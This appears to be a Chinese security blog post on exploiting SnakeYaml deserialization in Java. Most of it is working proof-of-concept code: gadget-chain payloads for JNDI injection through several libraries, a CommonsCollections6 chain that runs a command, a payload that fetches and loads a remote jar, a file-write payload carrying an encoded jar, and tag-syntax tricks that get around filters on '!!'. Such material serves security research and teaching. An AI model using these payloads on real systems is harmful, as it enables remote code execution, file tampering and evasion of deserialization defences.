SnakeYaml反序列化
SnakeYaml
SnakeYaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
YAML基本格式要求:
- YAML大小写敏感
- 使用缩进代表层级关系
- 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>
主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
Yaml.load()
:入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;Yaml.dump()
:将一个对象转化为yaml文件形式;
常用方法:
String dump(Object data)
//将Java对象序列化为YAML字符串。
void dump(Object data, Writer output)
//将Java对象序列化为YAML流。
String dumpAll(Iterator<? extends Object> data)
//将一系列Java对象序列化为YAML字符串。
void dumpAll(Iterator<? extends Object> data, Writer output)
//将一系列Java对象序列化为YAML流。
String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
//将Java对象序列化为YAML字符串。
String dumpAsMap(Object data)
#将Java对象序列化为YAML字符串。
<T> T load(InputStream io)
//解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(Reader io)
//解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T load(String yaml)
//解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(InputStream yaml)
//解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(Reader yaml)
//解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object> loadAll(String yaml)
//解析字符串中的所有YAML文档,并生成相应的Java对象。
示例
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class test {
public static void main(String[] args) {
Person person = new Person("name",1);
Yaml yaml = new Yaml();
// 序列化
String dump = yaml.dump(person);
System.out.println(dump);
// 反序列化
Object load = yaml.load(dump);
System.out.println(load);
}
}
//输出
//!!snakeyaml.Person {age: 1, name: name}
//
//snakeyaml.Person@4d591d15
//
这里的!!
类似于fastjson中的@type
用于指定反序列化的全类名
反序列化过程中会触发set方法和构造方法。
利用链
JdbcRowSetImpl利用链 jndi
这里和fastjson的触发一致,调用com.sun.rowset.JdbcRowSetImpl#setDataSourceName
为父类BaseRowSet的dataSource属性赋值
然后调用setAutoCommit为autoCommit
赋值会调用connect
方法
这个方法存在new InitialContext().lookup()
且参数就是dataSourceName
可控,于是可以触发JNDI注入
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class JdbcRowSetImplJndi {
public static void main(String[] args) {
String payload = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: \"rmi://127.0.0.1:1099/aa\", autoCommit: true}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
Spring PropertyPathFactoryBean利用链 jndi
需要springframework依赖
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.23</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.23</version>
</dependency>
这里两种payload,一个是空格缩进的,一个是{}的
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class Springjndi {
public static void main(String[] args) throws Error ,Exception{
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://127.0.0.1:9999/test\"\n" +
" propertyPath: Sentiment\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://127.0.0.1:9999/test\"]";
String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: \"ldap://127.0.0.1:9999/test\", propertyPath: \"whatever\", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: [\"ldap://127.0.0.1:9999/test\"]}}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
这里利用PropertyPathFactoryBean#setBeanFactory()
方法,这里可以调用到任意类的getBean()方法。然后利用org.springframework.jndi.support.SimpleJndiBeanFactory#getBean()
触发JNDI注入。
其中需要调用到getBean()方法,首先要满足isSingleton(this.targetBeanName)
返回值为true.
this.shareableResources
是一个HashSet对象,也就是利用setter方法设置this.shareableResources
包含this.targetBeanName
即可
C3P0利用链
jndi
在C3P0中有一个基于fastjson进行JNDI注入和反序列化,同理也可以套用在snakeyaml链上
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class c3p0jndi {
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {jndiName: \"ldap://127.0.0.1:9999/test\", loginTimeout: \"0\"}";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
反序列化
c3p0那边的hex反序列化也可以套用一下,这里用cc6来演示:
package snakeyaml;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.yaml.snakeyaml.Yaml;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class c3p0HexUnsercc6 {
public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");
lazyMap.remove("Atkx");
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
或者直接加载恶意反序列化对象来执行
java -jar ysoserial.jar CommonsCollections6 "calc" > calc.bin
//生成hex
package c3p0;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class hex_alltohex {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("E:\\ONE-FOX集成工具箱_V8公开版_by狐狸\\gui_scan\\yso\\calc.bin");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
ScriptEngineManager利用链
该漏洞基于SPI机制
SPI ,全称为 Service Provider Interface,是一种服务发现机制。JDK通过java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。也就是动态为某个接口寻找服务实现。
而javax.script.ScriptEngineManager这个类的底层就利用了SPI机制:
ScriptEngineManager(ClassLoader loader) :此构造函数使用服务提供程序机制加载给定ClassLoader可见的ScriptEngineFactory的实现。 如果loader是null ,则加载与平台捆绑在一起的脚本引擎工厂
可以给定一个UrlClassLoader ,并使用SPI机制 (ServiceLoader 来提供) ,来加载远程的ScriptEngineFactory的实现类,那么就可以在远程服务器下,创建META-INF/services/javax.script.ScriptEngineFactory 文件,文件内容指定接口的实现类。
github上已经有现成的利用ScriptEngineManager利用方式的exp
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class ScriptEngineManagerD {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:7777/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
//不出网的话就写本地文件进去,file:///yaml-payload.jar
先调用了init(),进行一些初始化设置之后调用initEngines()
跟进在下边调用了return getServiceLoader(loader);
,接着就是ServiceLoader.load()
,对我们自定义的类进行初始化
初始化完成后,回到ScriptEngineManager#initEngines()
向下执行看到了两个方法hasNext()
、next()
:
hashNext获取全路径,并读取文件中的内容
next执行文件中对应的类,导致恶意代码执行
本地文件写入
在fastjson中,可以通过如下命令进行文件写入,而snakeyaml利用方式在很多方面都有很大的相似之处
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "dst",
"append": "false"
},
"infl": {
"input": "eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen": 1048576
},
"protocolVersion": 1
}
所以构造snakeyaml的payload:
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },1048576]]
filepath是写入路径,base64是我们要写入文件的base64编码加个zlib inflate
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class fileoutput {
public static void main(String[] args) {
String payload = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml-payload.jar\"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]\n";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
写入本地之后就可以通过ScriptEngineManager方式进行本地读取了
public class SnakeYaml {
public static void main(String[] args) {
String payload = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file:///yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}
Apache XBean
依赖
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.22</version>
</dependency>
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class apachexbean {
public static void main(String[] args) throws Error ,Exception{
String poc = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"foo\",!!javax.naming.Reference [foo, \"test\", \"http://127.0.0.1:7777/\"],!!org.apache.xbean.naming.context.WritableContext []]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
Apache Commons Configuration
依赖
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>
POC:
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class apachecc {
public static void main(String[] args) throws Error ,Exception{
String poc = "\n" +
" ? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"ldap://127.0.0.1:9999/test\"]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
Jetty
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-jndi</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-plus</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
<version>9.4.8.v20171121</version>
</dependency>
package snakeyaml;
import org.yaml.snakeyaml.Yaml;
public class Resourcetest {
public static void main(String[] args) throws Error ,Exception{
String poc = "[!!org.eclipse.jetty.plus.jndi.Resource [\"__/obj\", !!javax.naming.Reference [\"foo\", \"Exec\", \"http://localhost:7777/\"]], !!org.eclipse.jetty.plus.jndi.Resource [\"obj/test\", !!java.lang.Object []]]\n";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
ByPass
https://b1ue.cn/archives/407.html
如果“不允许 yaml 中存在 !!”,将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。
但是除了 !! 以为还有另外几种 TAG 的表示方式:
第一种是用!<TAG>
来表示,只需要一个感叹号,尖括号里就是 TAG。
前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:
所以要想反序列化恶意类就需要这样构造
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://127.0.0.1:7777/yaml-payload.jar"]]]]
第二种,需要在 yaml 中用%TAG
声明一个 TAG
例如我声明 ! 的tag是 tag:yaml.org,2002:
%TAG ! tag:yaml.org,2002:
后面再调用 !str
的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str
。
最终我构造的反序列化攻击payload如下
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:7777/yaml-payload.jar"]]]]